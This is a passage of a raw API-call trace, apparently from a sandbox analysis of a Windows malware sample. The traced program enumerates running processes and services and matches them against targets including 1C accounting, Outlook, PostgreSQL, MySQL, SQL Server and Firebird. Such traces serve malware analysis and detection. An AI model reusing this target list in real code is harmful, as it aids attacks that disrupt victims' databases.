hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.854] lstrlenW (lpString="svchost.exe") returned 11 [0205.854] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.854] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.854] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.855] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.855] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.855] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.855] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.855] lstrlenW (lpString="svchost.exe") returned 11 [0205.856] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.856] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.856] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.856] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.856] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.856] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.856] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.856] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.857] lstrlenW (lpString="svchost.exe") returned 11 [0205.857] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.857] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.857] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.857] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.857] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.857] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.857] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.857] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.858] lstrlenW (lpString="svchost.exe") returned 11 [0205.859] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.859] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.859] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.859] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.859] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.859] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.859] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.859] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.860] lstrlenW (lpString="svchost.exe") returned 11 [0205.860] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.860] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.860] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.860] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.860] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.860] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.861] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.861] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0205.861] lstrlenW (lpString="audiodg.exe") returned 11 [0205.862] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0205.862] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0205.862] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0205.862] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0205.862] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0205.862] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0205.862] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0205.862] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.863] lstrlenW (lpString="svchost.exe") returned 11 [0205.863] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.863] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.863] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.863] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.863] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.863] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.863] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.864] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0205.865] lstrlenW (lpString="userinit.exe") returned 12 [0205.865] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0205.865] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0205.865] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0205.865] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0205.865] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0205.865] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0205.865] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0205.865] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0205.866] lstrlenW (lpString="explorer.exe") returned 12 [0206.118] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0206.118] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0206.118] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0206.118] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0206.118] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0206.119] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0206.120] lstrlenW (lpString="dwm.exe") returned 7 [0206.120] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.122] lstrlenW (lpString="svchost.exe") returned 11 [0206.122] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0206.123] lstrlenW (lpString="winhost.exe") returned 11 [0206.123] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0206.124] lstrlenW (lpString="spoolsv.exe") returned 11 [0206.124] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0206.125] lstrlenW (lpString="dllhost.exe") returned 11 [0206.125] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.126] lstrlenW (lpString="svchost.exe") returned 11 [0206.126] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0206.127] lstrlenW (lpString="taskhost.exe") returned 12 [0206.127] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0206.128] lstrlenW (lpString="cmd.exe") returned 7 [0206.128] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0206.129] lstrlenW (lpString="reader_sl.exe") returned 13 [0206.130] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0206.131] lstrlenW (lpString="AdobeARM.exe") returned 12 [0206.131] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0206.133] lstrlenW (lpString="conhost.exe") returned 11 [0206.133] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0206.134] CloseHandle (hObject=0x188) returned 1 [0206.135] Sleep (dwMilliseconds=0x1f4) [0207.096] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x620638 [0207.291] EnumServicesStatusExW (in: hSCManager=0x620638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0207.347] GetLastError () returned 0xea [0207.347] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa08) returned 0x3c06048 [0207.347] EnumServicesStatusExW (in: hSCManager=0x620638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3c06048, cbBufSize=0xa08, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3c06048, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0207.348] CloseServiceHandle (hSCObject=0x620638) returned 1 [0207.348] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0207.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0207.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0207.349] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0207.349] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0207.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0207.349] lstrlenW (lpString="AudioSrv") returned 8 [0207.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0207.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0207.349] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0207.349] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0207.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0207.350] lstrlenW (lpString="BFE") returned 3 [0207.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0207.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0207.350] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0207.350] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0207.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0207.350] lstrlenW (lpString="CscService") returned 10 [0207.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0207.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0207.350] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0207.350] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0207.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0207.351] lstrlenW (lpString="DcomLaunch") returned 10 [0207.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0207.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0207.351] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0207.351] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0207.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0207.351] lstrlenW (lpString="Dhcp") returned 4 [0207.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0207.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0207.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0207.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0207.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0207.352] lstrlenW (lpString="Dnscache") returned 8 [0207.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0207.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0207.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0207.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0207.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0207.352] lstrlenW (lpString="eventlog") returned 8 [0207.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0207.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0207.352] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0207.352] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0207.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0207.353] lstrlenW (lpString="EventSystem") returned 11 [0207.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0207.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0207.353] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0207.353] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0207.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0207.353] lstrlenW (lpString="gpsvc") returned 5 [0207.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0207.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0207.353] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0207.353] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0207.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0207.353] lstrlenW (lpString="lmhosts") returned 7 [0207.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0207.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0207.354] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0207.354] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0207.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0207.354] lstrlenW (lpString="MMCSS") returned 5 [0207.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0207.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0207.354] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0207.354] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0207.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0207.354] lstrlenW (lpString="nsi") returned 3 [0207.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0207.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0207.355] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0207.355] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0207.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0207.355] lstrlenW (lpString="PlugPlay") returned 8 [0207.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0207.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0207.355] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0207.355] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0207.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0207.355] lstrlenW (lpString="Power") returned 5 [0207.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0207.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0207.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0207.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0207.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0207.356] lstrlenW (lpString="ProfSvc") returned 7 [0207.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0207.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0207.356] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0207.356] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0207.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0207.356] lstrlenW (lpString="RpcEptMapper") returned 12 [0207.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0207.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0207.357] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0207.357] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0207.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0207.357] lstrlenW (lpString="RpcSs") returned 5 [0207.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0207.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0207.357] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0207.357] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0207.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0207.357] lstrlenW (lpString="SamSs") returned 5 [0207.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0207.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0207.357] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0207.358] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0207.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0207.358] lstrlenW (lpString="Schedule") returned 8 [0207.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0207.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0207.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0207.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0207.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0207.358] lstrlenW (lpString="SENS") returned 4 [0207.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0207.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0207.358] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0207.359] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0207.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0207.359] lstrlenW (lpString="ShellHWDetection") returned 16 [0207.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0207.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0207.359] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0207.359] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0207.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0207.359] lstrlenW (lpString="Spooler") returned 7 [0207.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0207.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0207.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0207.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0207.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0207.360] lstrlenW (lpString="Themes") returned 6 [0207.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0207.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0207.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0207.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0207.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0207.360] lstrlenW (lpString="UxSms") returned 5 [0207.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0207.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0207.360] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0207.360] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0207.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0207.361] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x3c06048 | out: hHeap=0x590000) returned 1 [0207.361] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x228 [0207.366] Process32FirstW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.368] Process32NextW (in: hSnapshot=0x228, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0207.369] lstrlenW (lpString="System") returned 6 [0207.369] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0207.369] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0207.369] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0207.369] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0207.369] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0207.369] 